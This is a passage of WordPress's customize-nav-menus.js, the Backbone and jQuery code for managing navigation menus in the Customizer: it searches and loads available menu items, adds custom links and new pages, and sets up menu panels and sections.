1/**
2 * @output wp-admin/js/customize-nav-menus.js
3 */
4
5/* global menus, _wpCustomizeNavMenusSettings, wpNavMenu, console */
6( function( api, wp, $ ) {
7 'use strict';
8
9 /**
10 * Set up wpNavMenu for drag and drop.
11 */
12 wpNavMenu.originalInit = wpNavMenu.init;
13 wpNavMenu.options.menuItemDepthPerLevel = 20;
14 wpNavMenu.options.sortableItems = '> .customize-control-nav_menu_item';
15 wpNavMenu.options.targetTolerance = 10;
16 wpNavMenu.init = function() {
17 this.jQueryExtensions();
18 };
19
20 /**
21 * @namespace wp.customize.Menus
22 */
23 api.Menus = api.Menus || {};
24
25 // Link settings.
26 api.Menus.data = {
27 itemTypes: [],
28 l10n: {},
29 settingTransport: 'refresh',
30 phpIntMax: 0,
31 defaultSettingValues: {
32 nav_menu: {},
33 nav_menu_item: {}
34 },
35 locationSlugMappedToName: {}
36 };
37 if ( 'undefined' !== typeof _wpCustomizeNavMenusSettings ) {
38 $.extend( api.Menus.data, _wpCustomizeNavMenusSettings );
39 }
40
41 /**
42 * Newly-created Nav Menus and Nav Menu Items have negative integer IDs which
43 * serve as placeholders until Save & Publish happens.
44 *
45 * @alias wp.customize.Menus.generatePlaceholderAutoIncrementId
46 *
47 * @return {number}
48 */
49 api.Menus.generatePlaceholderAutoIncrementId = function() {
50 return -Math.ceil( api.Menus.data.phpIntMax * Math.random() );
51 };
52
53 /**
54 * wp.customize.Menus.AvailableItemModel
55 *
56 * A single available menu item model. See PHP's WP_Customize_Nav_Menu_Item_Setting class.
57 *
58 * @class wp.customize.Menus.AvailableItemModel
59 * @augments Backbone.Model
60 */
61 api.Menus.AvailableItemModel = Backbone.Model.extend( $.extend(
62 {
63 id: null // This is only used by Backbone.
64 },
65 api.Menus.data.defaultSettingValues.nav_menu_item
66 ) );
67
68 /**
69 * wp.customize.Menus.AvailableItemCollection
70 *
71 * Collection for available menu item models.
72 *
73 * @class wp.customize.Menus.AvailableItemCollection
74 * @augments Backbone.Collection
75 */
76 api.Menus.AvailableItemCollection = Backbone.Collection.extend(/** @lends wp.customize.Menus.AvailableItemCollection.prototype */{
77 model: api.Menus.AvailableItemModel,
78
79 sort_key: 'order',
80
81 comparator: function( item ) {
82 return -item.get( this.sort_key );
83 },
84
85 sortByField: function( fieldName ) {
86 this.sort_key = fieldName;
87 this.sort();
88 }
89 });
90 api.Menus.availableMenuItems = new api.Menus.AvailableItemCollection( api.Menus.data.availableMenuItems );
91
92 /**
93 * Insert a new `auto-draft` post.
94 *
95 * @since 4.7.0
96 * @alias wp.customize.Menus.insertAutoDraftPost
97 *
98 * @param {Object} params - Parameters for the draft post to create.
99 * @param {string} params.post_type - Post type to add.
100 * @param {string} params.post_title - Post title to use.
101 * @return {jQuery.promise} Promise resolved with the added post.
102 */
103 api.Menus.insertAutoDraftPost = function insertAutoDraftPost( params ) {
104 var request, deferred = $.Deferred();
105
106 request = wp.ajax.post( 'customize-nav-menus-insert-auto-draft', {
107 'customize-menus-nonce': api.settings.nonce['customize-menus'],
108 'wp_customize': 'on',
109 'customize_changeset_uuid': api.settings.changeset.uuid,
110 'params': params
111 } );
112
113 request.done( function( response ) {
114 if ( response.post_id ) {
115 api( 'nav_menus_created_posts' ).set(
116 api( 'nav_menus_created_posts' ).get().concat( [ response.post_id ] )
117 );
118
119 if ( 'page' === params.post_type ) {
120
121 // Activate static front page controls as this could be the first page created.
122 if ( api.section.has( 'static_front_page' ) ) {
123 api.section( 'static_front_page' ).activate();
124 }
125
126 // Add new page to dropdown-pages controls.
127 api.control.each( function( control ) {
128 var select;
129 if ( 'dropdown-pages' === control.params.type ) {
130 select = control.container.find( 'select[name^="_customize-dropdown-pages-"]' );
131 select.append( new Option( params.post_title, response.post_id ) );
132 }
133 } );
134 }
135 deferred.resolve( response );
136 }
137 } );
138
139 request.fail( function( response ) {
140 var error = response || '';
141
142 if ( 'undefined' !== typeof response.message ) {
143 error = response.message;
144 }
145
146 console.error( error );
147 deferred.rejectWith( error );
148 } );
149
150 return deferred.promise();
151 };
152
153 api.Menus.AvailableMenuItemsPanelView = wp.Backbone.View.extend(/** @lends wp.customize.Menus.AvailableMenuItemsPanelView.prototype */{
154
155 el: '#available-menu-items',
156
157 events: {
158 'input #menu-items-search': 'debounceSearch',
159 'focus .menu-item-tpl': 'focus',
160 'click .menu-item-tpl': '_submit',
161 'click #custom-menu-item-submit': '_submitLink',
162 'keypress #custom-menu-item-name': '_submitLink',
163 'click .new-content-item .add-content': '_submitNew',
164 'keypress .create-item-input': '_submitNew',
165 'keydown': 'keyboardAccessible'
166 },
167
168 // Cache current selected menu item.
169 selected: null,
170
171 // Cache menu control that opened the panel.
172 currentMenuControl: null,
173 debounceSearch: null,
174 $search: null,
175 $clearResults: null,
176 searchTerm: '',
177 rendered: false,
178 pages: {},
179 sectionContent: '',
180 loading: false,
181 addingNew: false,
182
183 /**
184 * wp.customize.Menus.AvailableMenuItemsPanelView
185 *
186 * View class for the available menu items panel.
187 *
188 * @constructs wp.customize.Menus.AvailableMenuItemsPanelView
189 * @augments wp.Backbone.View
190 */
191 initialize: function() {
192 var self = this;
193
194 if ( ! api.panel.has( 'nav_menus' ) ) {
195 return;
196 }
197
198 this.$search = $( '#menu-items-search' );
199 this.$clearResults = this.$el.find( '.clear-results' );
200 this.sectionContent = this.$el.find( '.available-menu-items-list' );
201
202 this.debounceSearch = _.debounce( self.search, 500 );
203
204 _.bindAll( this, 'close' );
205
206 /*
207 * If the available menu items panel is open and the customize controls
208 * are interacted with (other than an item being deleted), then close
209 * the available menu items panel. Also close on back button click.
210 */
211 $( '#customize-controls, .customize-section-back' ).on( 'click keydown', function( e ) {
212 var isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ),
213 isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' );
214 if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) {
215 self.close();
216 }
217 } );
218
219 // Clear the search results and trigger an `input` event to fire a new search.
220 this.$clearResults.on( 'click', function() {
221 self.$search.val( '' ).trigger( 'focus' ).trigger( 'input' );
222 } );
223
224 this.$el.on( 'input', '#custom-menu-item-name.invalid, #custom-menu-item-url.invalid', function() {
225 $( this ).removeClass( 'invalid' );
226 var errorMessageId = $( this ).attr( 'aria-describedby' );
227 $( '#' + errorMessageId ).hide();
228 $( this ).removeAttr( 'aria-invalid' ).removeAttr( 'aria-describedby' );
229 });
230
231 // Load available items if it looks like we'll need them.
232 api.panel( 'nav_menus' ).container.on( 'expanded', function() {
233 if ( ! self.rendered ) {
234 self.initList();
235 self.rendered = true;
236 }
237 });
238
239 // Load more items.
240 this.sectionContent.on( 'scroll', function() {
241 var totalHeight = self.$el.find( '.accordion-section.open .available-menu-items-list' ).prop( 'scrollHeight' ),
242 visibleHeight = self.$el.find( '.accordion-section.open' ).height();
243
244 if ( ! self.loading && $( this ).scrollTop() > 3 / 4 * totalHeight - visibleHeight ) {
245 var type = $( this ).data( 'type' ),
246 object = $( this ).data( 'object' );
247
248 if ( 'search' === type ) {
249 if ( self.searchTerm ) {
250 self.doSearch( self.pages.search );
251 }
252 } else {
253 self.loadItems( [
254 { type: type, object: object }
255 ] );
256 }
257 }
258 });
259
260 // Close the panel if the URL in the preview changes.
261 api.previewer.bind( 'url', this.close );
262
263 self.delegateEvents();
264 },
265
266 // Search input change handler.
267 search: function( event ) {
268 var $searchSection = $( '#available-menu-items-search' ),
269 $otherSections = $( '#available-menu-items .accordion-section' ).not( $searchSection );
270
271 if ( ! event ) {
272 return;
273 }
274
275 if ( this.searchTerm === event.target.value ) {
276 return;
277 }
278
279 if ( '' !== event.target.value && ! $searchSection.hasClass( 'open' ) ) {
280 $otherSections.fadeOut( 100 );
281 $searchSection.find( '.accordion-section-content' ).slideDown( 'fast' );
282 $searchSection.addClass( 'open' );
283 this.$clearResults.addClass( 'is-visible' );
284 } else if ( '' === event.target.value ) {
285 $searchSection.removeClass( 'open' );
286 $otherSections.show();
287 this.$clearResults.removeClass( 'is-visible' );
288 }
289
290 this.searchTerm = event.target.value;
291 this.pages.search = 1;
292 this.doSearch( 1 );
293 },
294
295 // Get search results.
296 doSearch: function( page ) {
297 var self = this, params,
298 $section = $( '#available-menu-items-search' ),
299 $content = $section.find( '.accordion-section-content' ),
300 itemTemplate = wp.template( 'available-menu-item' );
301
302 if ( self.currentRequest ) {
303 self.currentRequest.abort();
304 }
305
306 if ( page < 0 ) {
307 return;
308 } else if ( page > 1 ) {
309 $section.addClass( 'loading-more' );
310 $content.attr( 'aria-busy', 'true' );
311 wp.a11y.speak( api.Menus.data.l10n.itemsLoadingMore );
312 } else if ( '' === self.searchTerm ) {
313 $content.html( '' );
314 wp.a11y.speak( '' );
315 return;
316 }
317
318 $section.addClass( 'loading' );
319 self.loading = true;
320
321 params = api.previewer.query( { excludeCustomizedSaved: true } );
322 _.extend( params, {
323 'customize-menus-nonce': api.settings.nonce['customize-menus'],
324 'wp_customize': 'on',
325 'search': self.searchTerm,
326 'page': page
327 } );
328
329 self.currentRequest = wp.ajax.post( 'search-available-menu-items-customizer', params );
330
331 self.currentRequest.done(function( data ) {
332 var items;
333 if ( 1 === page ) {
334 // Clear previous results as it's a new search.
335 $content.empty();
336 }
337 $section.removeClass( 'loading loading-more' );
338 $content.attr( 'aria-busy', 'false' );
339 $section.addClass( 'open' );
340 self.loading = false;
341 items = new api.Menus.AvailableItemCollection( data.items );
342 self.collection.add( items.models );
343 items.each( function( menuItem ) {
344 $content.append( itemTemplate( menuItem.attributes ) );
345 } );
346 if ( 20 > items.length ) {
347 self.pages.search = -1; // Up to 20 posts and 20 terms in results, if <20, no more results for either.
348 } else {
349 self.pages.search = self.pages.search + 1;
350 }
351 if ( items && page > 1 ) {
352 wp.a11y.speak( api.Menus.data.l10n.itemsFoundMore.replace( '%d', items.length ) );
353 } else if ( items && page === 1 ) {
354 wp.a11y.speak( api.Menus.data.l10n.itemsFound.replace( '%d', items.length ) );
355 }
356 });
357
358 self.currentRequest.fail(function( data ) {
359 // data.message may be undefined, for example when typing slow and the request is aborted.
360 if ( data.message ) {
361 $content.empty().append( $( '<li class="nothing-found"></li>' ).text( data.message ) );
362 wp.a11y.speak( data.message );
363 }
364 self.pages.search = -1;
365 });
366
367 self.currentRequest.always(function() {
368 $section.removeClass( 'loading loading-more' );
369 $content.attr( 'aria-busy', 'false' );
370 self.loading = false;
371 self.currentRequest = null;
372 });
373 },
374
375 // Render the individual items.
376 initList: function() {
377 var self = this;
378
379 // Render the template for each item by type.
380 _.each( api.Menus.data.itemTypes, function( itemType ) {
381 self.pages[ itemType.type + ':' + itemType.object ] = 0;
382 } );
383 self.loadItems( api.Menus.data.itemTypes );
384 },
385
386 /**
387 * Load available nav menu items.
388 *
389 * @since 4.3.0
390 * @since 4.7.0 Changed function signature to take list of item types instead of single type/object.
391 * @access private
392 *
393 * @param {Array.<Object>} itemTypes List of objects containing type and key.
394 * @param {string} deprecated Formerly the object parameter.
395 * @return {void}
396 */
397 loadItems: function( itemTypes, deprecated ) {
398 var self = this, _itemTypes, requestItemTypes = [], params, request, itemTemplate, availableMenuItemContainers = {};
399 itemTemplate = wp.template( 'available-menu-item' );
400
401 if ( _.isString( itemTypes ) && _.isString( deprecated ) ) {
402 _itemTypes = [ { type: itemTypes, object: deprecated } ];
403 } else {
404 _itemTypes = itemTypes;
405 }
406
407 _.each( _itemTypes, function( itemType ) {
408 var container, name = itemType.type + ':' + itemType.object;
409 if ( -1 === self.pages[ name ] ) {
410 return; // Skip types for which there are no more results.
411 }
412 container = $( '#available-menu-items-' + itemType.type + '-' + itemType.object );
413 container.find( '.accordion-section-title' ).addClass( 'loading' );
414 availableMenuItemContainers[ name ] = container;
415
416 requestItemTypes.push( {
417 object: itemType.object,
418 type: itemType.type,
419 page: self.pages[ name ]
420 } );
421 } );
422
423 if ( 0 === requestItemTypes.length ) {
424 return;
425 }
426
427 self.loading = true;
428
429 params = api.previewer.query( { excludeCustomizedSaved: true } );
430 _.extend( params, {
431 'customize-menus-nonce': api.settings.nonce['customize-menus'],
432 'wp_customize': 'on',
433 'item_types': requestItemTypes
434 } );
435
436 request = wp.ajax.post( 'load-available-menu-items-customizer', params );
437
438 request.done(function( data ) {
439 var typeInner;
440 _.each( data.items, function( typeItems, name ) {
441 if ( 0 === typeItems.length ) {
442 if ( 0 === self.pages[ name ] ) {
443 availableMenuItemContainers[ name ].find( '.accordion-section-title' )
444 .addClass( 'cannot-expand' )
445 .removeClass( 'loading' )
446 .find( '.accordion-section-title > button' )
447 .prop( 'tabIndex', -1 );
448 }
449 self.pages[ name ] = -1;
450 return;
451 } else if ( ( 'post_type:page' === name ) && ( ! availableMenuItemContainers[ name ].hasClass( 'open' ) ) ) {
452 availableMenuItemContainers[ name ].find( '.accordion-section-title > button' ).trigger( 'click' );
453 }
454 typeItems = new api.Menus.AvailableItemCollection( typeItems ); // @todo Why is this collection created and then thrown away?
455 self.collection.add( typeItems.models );
456 typeInner = availableMenuItemContainers[ name ].find( '.available-menu-items-list' );
457 typeItems.each( function( menuItem ) {
458 typeInner.append( itemTemplate( menuItem.attributes ) );
459 } );
460 self.pages[ name ] += 1;
461 });
462 });
463 request.fail(function( data ) {
464 if ( typeof console !== 'undefined' && console.error ) {
465 console.error( data );
466 }
467 });
468 request.always(function() {
469 _.each( availableMenuItemContainers, function( container ) {
470 container.find( '.accordion-section-title' ).removeClass( 'loading' );
471 } );
472 self.loading = false;
473 });
474 },
475
476 // Adjust the height of each section of items to fit the screen.
477 itemSectionHeight: function() {
478 var sections, lists, totalHeight, accordionHeight, diff;
479 totalHeight = window.innerHeight;
480 sections = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .accordion-section-content' );
481 lists = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .available-menu-items-list:not(":only-child")' );
482 accordionHeight = 46 * ( 1 + sections.length ) + 14; // Magic numbers.
483 diff = totalHeight - accordionHeight;
484 if ( 120 < diff && 290 > diff ) {
485 sections.css( 'max-height', diff );
486 lists.css( 'max-height', ( diff - 60 ) );
487 }
488 },
489
490 // Highlights a menu item.
491 select: function( menuitemTpl ) {
492 this.selected = $( menuitemTpl );
493 this.selected.siblings( '.menu-item-tpl' ).removeClass( 'selected' );
494 this.selected.addClass( 'selected' );
495 },
496
497 // Highlights a menu item on focus.
498 focus: function( event ) {
499 this.select( $( event.currentTarget ) );
500 },
501
502 // Submit handler for keypress and click on menu item.
503 _submit: function( event ) {
504 // Only proceed with keypress if it is Enter or Spacebar.
505 if ( 'keypress' === event.type && ( 13 !== event.which && 32 !== event.which ) ) {
506 return;
507 }
508
509 this.submit( $( event.currentTarget ) );
510 },
511
512 // Adds a selected menu item to the menu.
513 submit: function( menuitemTpl ) {
514 var menuitemId, menu_item;
515
516 if ( ! menuitemTpl ) {
517 menuitemTpl = this.selected;
518 }
519
520 if ( ! menuitemTpl || ! this.currentMenuControl ) {
521 return;
522 }
523
524 this.select( menuitemTpl );
525
526 menuitemId = $( this.selected ).data( 'menu-item-id' );
527 menu_item = this.collection.findWhere( { id: menuitemId } );
528 if ( ! menu_item ) {
529 return;
530 }
531
532 // Leave the title as empty to reuse the original title as a placeholder if set.
533 var nav_menu_item = Object.assign( {}, menu_item.attributes );
534 if ( nav_menu_item.title === nav_menu_item.original_title ) {
535 nav_menu_item.title = '';
536 }
537
538 this.currentMenuControl.addItemToMenu( nav_menu_item );
539
540 $( menuitemTpl ).find( '.menu-item-handle' ).addClass( 'item-added' );
541 },
542
543 // Submit handler for keypress and click on custom menu item.
544 _submitLink: function( event ) {
545 // Only proceed with keypress if it is Enter.
546 if ( 'keypress' === event.type && 13 !== event.which ) {
547 return;
548 }
549
550 this.submitLink();
551 },
552
553 // Adds the custom menu item to the menu.
554 submitLink: function() {
555 var menuItem,
556 itemName = $( '#custom-menu-item-name' ),
557 itemUrl = $( '#custom-menu-item-url' ),
558 urlErrorMessage = $( '#custom-url-error' ),
559 nameErrorMessage = $( '#custom-name-error' ),
560 url = itemUrl.val().trim(),
561 urlRegex,
562 errorText;
563
564 if ( ! this.currentMenuControl ) {
565 return;
566 }
567
568 /*
569 * Allow URLs including:
570 * - http://example.com/
571 * - //example.com
572 * - /directory/
573 * - ?query-param
574 * - #target
575 * - mailto:foo@example.com
576 *
577 * Any further validation will be handled on the server when the setting is attempted to be saved,
578 * so this pattern does not need to be complete.
579 */
580 urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/;
581 if ( ! urlRegex.test( url ) || '' === itemName.val() ) {
582 if ( ! urlRegex.test( url ) ) {
583 itemUrl.addClass( 'invalid' )
584 .attr( 'aria-invalid', 'true' )
585 .attr( 'aria-describedby', 'custom-url-error' );
586 urlErrorMessage.show();
587 errorText = urlErrorMessage.text();
588 // Announce error message via screen reader
589 wp.a11y.speak( errorText, 'assertive' );
590 }
591 if ( '' === itemName.val() ) {
592 itemName.addClass( 'invalid' )
593 .attr( 'aria-invalid', 'true' )
594 .attr( 'aria-describedby', 'custom-name-error' );
595 nameErrorMessage.show();
596 errorText = ( '' === errorText ) ? nameErrorMessage.text() : errorText + nameErrorMessage.text();
597 // Announce error message via screen reader
598 wp.a11y.speak( errorText, 'assertive' );
599 }
600 return;
601 }
602
603 urlErrorMessage.hide();
604 nameErrorMessage.hide();
605 itemName.removeClass( 'invalid' )
606 .removeAttr( 'aria-invalid', 'true' )
607 .removeAttr( 'aria-describedby', 'custom-name-error' );
608 itemUrl.removeClass( 'invalid' )
609 .removeAttr( 'aria-invalid', 'true' )
610 .removeAttr( 'aria-describedby', 'custom-name-error' );
611
612 menuItem = {
613 'title': itemName.val(),
614 'url': url,
615 'type': 'custom',
616 'type_label': api.Menus.data.l10n.custom_label,
617 'object': 'custom'
618 };
619
620 this.currentMenuControl.addItemToMenu( menuItem );
621
622 // Reset the custom link form.
623 itemUrl.val( '' ).attr( 'placeholder', 'https://' );
624 itemName.val( '' );
625 },
626
627 /**
628 * Submit handler for keypress (enter) on field and click on button.
629 *
630 * @since 4.7.0
631 * @private
632 *
633 * @param {jQuery.Event} event Event.
634 * @return {void}
635 */
636 _submitNew: function( event ) {
637 var container;
638
639 // Only proceed with keypress if it is Enter.
640 if ( 'keypress' === event.type && 13 !== event.which ) {
641 return;
642 }
643
644 if ( this.addingNew ) {
645 return;
646 }
647
648 container = $( event.target ).closest( '.accordion-section' );
649
650 this.submitNew( container );
651 },
652
653 /**
654 * Creates a new object and adds an associated menu item to the menu.
655 *
656 * @since 4.7.0
657 * @private
658 *
659 * @param {jQuery} container
660 * @return {void}
661 */
662 submitNew: function( container ) {
663 var panel = this,
664 itemName = container.find( '.create-item-input' ),
665 title = itemName.val(),
666 dataContainer = container.find( '.available-menu-items-list' ),
667 itemType = dataContainer.data( 'type' ),
668 itemObject = dataContainer.data( 'object' ),
669 itemTypeLabel = dataContainer.data( 'type_label' ),
670 inputError = container.find('.create-item-error'),
671 promise;
672
673 if ( ! this.currentMenuControl ) {
674 return;
675 }
676
677 // Only posts are supported currently.
678 if ( 'post_type' !== itemType ) {
679 return;
680 }
681 if ( '' === itemName.val().trim() ) {
682 container.addClass( 'form-invalid' );
683 itemName.attr('aria-invalid', 'true');
684 itemName.attr('aria-describedby', inputError.attr('id'));
685 inputError.slideDown( 'fast' );
686 wp.a11y.speak( inputError.text() );
687 return;
688 } else {
689 container.removeClass( 'form-invalid' );
690 itemName.attr('aria-invalid', 'false');
691 itemName.removeAttr('aria-describedby');
692 inputError.hide();
693 container.find( '.accordion-section-title' ).addClass( 'loading' );
694 }
695
696 panel.addingNew = true;
697 itemName.attr( 'disabled', 'disabled' );
698 promise = api.Menus.insertAutoDraftPost( {
699 post_title: title,
700 post_type: itemObject
701 } );
702 promise.done( function( data ) {
703 var availableItem, $content, itemElement;
704 availableItem = new api.Menus.AvailableItemModel( {
705 'id': 'post-' + data.post_id, // Used for available menu item Backbone models.
706 'title': itemName.val(),
707 'type': itemType,
708 'type_label': itemTypeLabel,
709 'object': itemObject,
710 'object_id': data.post_id,
711 'url': data.url
712 } );
713
714 // Add new item to menu.
715 panel.currentMenuControl.addItemToMenu( availableItem.attributes );
716
717 // Add the new item to the list of available items.
718 api.Menus.availableMenuItemsPanel.collection.add( availableItem );
719 $content = container.find( '.available-menu-items-list' );
720 itemElement = $( wp.template( 'available-menu-item' )( availableItem.attributes ) );
721 itemElement.find( '.menu-item-handle:first' ).addClass( 'item-added' );
722 $content.prepend( itemElement );
723 $content.scrollTop();
724
725 // Reset the create content form.
726 itemName.val( '' ).removeAttr( 'disabled' );
727 panel.addingNew = false;
728 container.find( '.accordion-section-title' ).removeClass( 'loading' );
729 } );
730 },
731
732 // Opens the panel.
733 open: function( menuControl ) {
734 var panel = this, close;
735
736 this.currentMenuControl = menuControl;
737
738 this.itemSectionHeight();
739
740 if ( api.section.has( 'publish_settings' ) ) {
741 api.section( 'publish_settings' ).collapse();
742 }
743
744 $( 'body' ).addClass( 'adding-menu-items' );
745
746 close = function() {
747 panel.close();
748 $( this ).off( 'click', close );
749 };
750 $( '#customize-preview' ).on( 'click', close );
751
752 // Collapse all controls.
753 _( this.currentMenuControl.getMenuItemControls() ).each( function( control ) {
754 control.collapseForm();
755 } );
756
757 this.$el.find( '.selected' ).removeClass( 'selected' );
758
759 this.$search.trigger( 'focus' );
760 },
761
762 // Closes the panel.
763 close: function( options ) {
764 options = options || {};
765
766 if ( options.returnFocus && this.currentMenuControl ) {
767 this.currentMenuControl.container.find( '.add-new-menu-item' ).focus();
768 }
769
770 this.currentMenuControl = null;
771 this.selected = null;
772
773 $( 'body' ).removeClass( 'adding-menu-items' );
774 $( '#available-menu-items .menu-item-handle.item-added' ).removeClass( 'item-added' );
775
776 this.$search.val( '' ).trigger( 'input' );
777 },
778
779 // Add a few keyboard enhancements to the panel.
780 keyboardAccessible: function( event ) {
781 var isEnter = ( 13 === event.which ),
782 isEsc = ( 27 === event.which ),
783 isBackTab = ( 9 === event.which && event.shiftKey ),
784 isSearchFocused = $( event.target ).is( this.$search );
785
786 // If enter pressed but nothing entered, don't do anything.
787 if ( isEnter && ! this.$search.val() ) {
788 return;
789 }
790
791 if ( isSearchFocused && isBackTab ) {
792 this.currentMenuControl.container.find( '.add-new-menu-item' ).focus();
793 event.preventDefault(); // Avoid additional back-tab.
794 } else if ( isEsc ) {
795 this.close( { returnFocus: true } );
796 }
797 }
798 });
799
800 /**
801 * wp.customize.Menus.MenusPanel
802 *
803 * Customizer panel for menus. This is used only for screen options management.
804 * Note that 'menus' must match the WP_Customize_Menu_Panel::$type.
805 *
806 * @class wp.customize.Menus.MenusPanel
807 * @augments wp.customize.Panel
808 */
809 api.Menus.MenusPanel = api.Panel.extend(/** @lends wp.customize.Menus.MenusPanel.prototype */{
810
811 attachEvents: function() {
812 api.Panel.prototype.attachEvents.call( this );
813
814 var panel = this,
815 panelMeta = panel.container.find( '.panel-meta' ),
816 help = panelMeta.find( '.customize-help-toggle' ),
817 content = panelMeta.find( '.customize-panel-description' ),
818 options = $( '#screen-options-wrap' ),
819 button = panelMeta.find( '.customize-screen-options-toggle' );
820 button.on( 'click keydown', function( event ) {
821 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
822 return;
823 }
824 event.preventDefault();
825
826 // Hide description.
827 if ( content.not( ':hidden' ) ) {
828 content.slideUp( 'fast' );
829 help.attr( 'aria-expanded', 'false' );
830 }
831
832 if ( 'true' === button.attr( 'aria-expanded' ) ) {
833 button.attr( 'aria-expanded', 'false' );
834 panelMeta.removeClass( 'open' );
835 panelMeta.removeClass( 'active-menu-screen-options' );
836 options.slideUp( 'fast' );
837 } else {
838 button.attr( 'aria-expanded', 'true' );
839 panelMeta.addClass( 'open' );
840 panelMeta.addClass( 'active-menu-screen-options' );
841 options.slideDown( 'fast' );
842 }
843
844 return false;
845 } );
846
847 // Help toggle.
848 help.on( 'click keydown', function( event ) {
849 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
850 return;
851 }
852 event.preventDefault();
853
854 if ( 'true' === button.attr( 'aria-expanded' ) ) {
855 button.attr( 'aria-expanded', 'false' );
856 help.attr( 'aria-expanded', 'true' );
857 panelMeta.addClass( 'open' );
858 panelMeta.removeClass( 'active-menu-screen-options' );
859 options.slideUp( 'fast' );
860 content.slideDown( 'fast' );
861 }
862 } );
863 },
864
865 /**
866 * Update field visibility when clicking on the field toggles.
867 */
868 ready: function() {
869 var panel = this;
870 panel.container.find( '.hide-column-tog' ).on( 'click', function() {
871 panel.saveManageColumnsState();
872 });
873
874 // Inject additional heading into the menu locations section's head container.
875 api.section( 'menu_locations', function( section ) {
876 section.headContainer.prepend(
877 wp.template( 'nav-menu-locations-header' )( api.Menus.data )
878 );
879 } );
880 },
881
882 /**
883 * Save hidden column states.
884 *
885 * @since 4.3.0
886 * @private
887 *
888 * @return {void}
889 */
890 saveManageColumnsState: _.debounce( function() {
891 var panel = this;
892 if ( panel._updateHiddenColumnsRequest ) {
893 panel._updateHiddenColumnsRequest.abort();
894 }
895
896 panel._updateHiddenColumnsRequest = wp.ajax.post( 'hidden-columns', {
897 hidden: panel.hidden(),
898 screenoptionnonce: $( '#screenoptionnonce' ).val(),
899 page: 'nav-menus'
900 } );
901 panel._updateHiddenColumnsRequest.always( function() {
902 panel._updateHiddenColumnsRequest = null;
903 } );
904 }, 2000 ),
905
906 /**
907 * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers.
908 */
909 checked: function() {},
910
911 /**
912 * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers.
913 */
914 unchecked: function() {},
915
916 /**
917 * Get hidden fields.
918 *
919 * @since 4.3.0
920 * @private
921 *
922 * @return {Array} Fields (columns) that are hidden.
923 */
924 hidden: function() {
925 return $( '.hide-column-tog' ).not( ':checked' ).map( function() {
926 var id = this.id;
927 return id.substring( 0, id.length - 5 );
928 }).get().join( ',' );
929 }
930 } );
931
932 /**
933 * wp.customize.Menus.MenuSection
934 *
935 * Customizer section for menus. This is used only for lazy-loading child controls.
936 * Note that 'nav_menu' must match the WP_Customize_Menu_Section::$type.
937 *
938 * @class wp.customize.Menus.MenuSection
939 * @augments wp.customize.Section
940 */
941 api.Menus.MenuSection = api.Section.extend(/** @lends wp.customize.Menus.MenuSection.prototype */{
942
943 /**
944 * Initialize.
945 *
946 * @since 4.3.0
947 *
948 * @param {string} id
949 * @param {Object} options
950 */
951 initialize: function( id, options ) {
952 var section = this;
953 api.Section.prototype.initialize.call( section, id, options );
954 section.deferred.initSortables = $.Deferred();
955 },
956
957 /**
958 * Ready.
959 */
960 ready: function() {
961 var section = this, fieldActiveToggles, handleFieldActiveToggle;
962
963 if ( 'undefined' === typeof section.params.menu_id ) {
964 throw new Error( 'params.menu_id was not defined' );
965 }
966
967 /*
968 * Since newly created sections won't be registered in PHP, we need to prevent the
969 * preview's sending of the activeSections to result in this control
970 * being deactivated when the preview refreshes. So we can hook onto
971 * the setting that has the same ID and its presence can dictate
972 * whether the section is active.
973 */
974 section.active.validate = function() {
975 if ( ! api.has( section.id ) ) {
976 return false;
977 }
978 return !! api( section.id ).get();
979 };
980
981 section.populateControls();
982
983 section.navMenuLocationSettings = {};
984 section.assignedLocations = new api.Value( [] );
985
986 api.each(function( setting, id ) {
987 var matches = id.match( /^nav_menu_locations\[(.+?)]/ );
988 if ( matches ) {
989 section.navMenuLocationSettings[ matches[1] ] = setting;
990 setting.bind( function() {
991 section.refreshAssignedLocations();
992 });
993 }
994 });
995
996 section.assignedLocations.bind(function( to ) {
997 section.updateAssignedLocationsInSectionTitle( to );
998 });
999
1000 section.refreshAssignedLocations();
1001
1002 api.bind( 'pane-contents-reflowed', function() {
1003 // Skip menus that have been removed.
1004 if ( ! section.contentContainer.parent().length ) {
1005 return;
1006 }
1007 section.container.find( '.menu-item .menu-item-reorder-nav button' ).attr({ 'tabindex': '0', 'aria-hidden': 'false' });
1008 section.container.find( '.menu-item.move-up-disabled .menus-move-up' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
1009 section.container.find( '.menu-item.move-down-disabled .menus-move-down' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
1010 section.container.find( '.menu-item.move-left-disabled .menus-move-left' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
1011 section.container.find( '.menu-item.move-right-disabled .menus-move-right' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
1012 } );
1013
1014 /**
1015 * Update the active field class for the content container for a given checkbox toggle.
1016 *
1017 * @this {jQuery}
1018 * @return {void}
1019 */
1020 handleFieldActiveToggle = function() {
1021 var className = 'field-' + $( this ).val() + '-active';
1022 section.contentContainer.toggleClass( className, $( this ).prop( 'checked' ) );
1023 };
1024 fieldActiveToggles = api.panel( 'nav_menus' ).contentContainer.find( '.metabox-prefs:first' ).find( '.hide-column-tog' );
1025 fieldActiveToggles.each( handleFieldActiveToggle );
1026 fieldActiveToggles.on( 'click', handleFieldActiveToggle );
1027 },
1028
1029 populateControls: function() {
1030 var section = this,
1031 menuNameControlId,
1032 menuLocationsControlId,
1033 menuAutoAddControlId,
1034 menuDeleteControlId,
1035 menuControl,
1036 menuNameControl,
1037 menuLocationsControl,
1038 menuAutoAddControl,
1039 menuDeleteControl;
1040
1041 // Add the control for managing the menu name.
1042 menuNameControlId = section.id + '[name]';
1043 menuNameControl = api.control( menuNameControlId );
1044 if ( ! menuNameControl ) {
1045 menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, {
1046 type: 'nav_menu_name',
1047 label: api.Menus.data.l10n.menuNameLabel,
1048 section: section.id,
1049 priority: 0,
1050 settings: {
